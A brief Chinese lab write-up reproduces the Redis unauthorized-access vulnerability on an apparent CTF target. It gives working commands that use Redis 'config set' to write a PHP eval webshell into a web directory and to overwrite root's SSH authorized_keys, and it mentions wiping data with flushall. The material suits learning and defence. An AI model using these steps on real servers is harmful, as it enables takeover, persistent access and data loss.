redis未授权访问漏洞复现
环境搭建
靶机:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz //服务下载 tar xzfredis-2.8.17.tar.gz //文件解压 cd redis-2.8.17 //目录切换 make //编译 cp redis.conf /etc cd src ./redis-server /etc/redis.conf //服务初始化与启动
服务启动
攻击端:
yum install redis //安装(Centos) redis-cli -h hostname //连接
测试连接成功
漏洞利用条件
redis服务挂在0.0.0.0:6379,且未设置防火墙(即外网可连接)
没有设置密码(默认条件)
漏洞利用姿势
泄露敏感数据,或者使用flushall恶意清空数据
通过eval执行代码(写入文件)
修改ssh公钥文件,实现ssh登录(需要redis以root权限运行)
webshell写入
附加条件:知道web路径,具有文件读写权限
已知路径:/www/wwwroot/pboot.huctf.cn/PbootCMS-2.0.8
config set dir /www/wwwroot/pboot.huctf.cn/PbootCMS-2.0.8 //目录切换 config set dbfilename webshell.php //创建文件 set webshell " <?php @eval($_POST['123']);?> " //将马写入文件 save //保存文件
攻击机视角:
靶机视角:
第三人视角(访问木马):
蚁剑连接:
SSH公钥修改
附加条件:开启sshd服务
ssh-keygen -t rsa //在本地主机生成密钥key cd /root/.ssh (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat /root/key.txt cat /root/key.txt | redis-cli -h 【host】 //将txt文件中的公钥导入Redis缓存 cat /root/key.txt | redis-cli -h 【host】 –x set xxx //使用redis-cli -h ip命令连接靶机,将文件写入 redis-cli -h host config set dir /root/.ssh //切换目录到ssh公钥目录 config set dbfilename authorized_keys //创建公钥文件 save //保存文件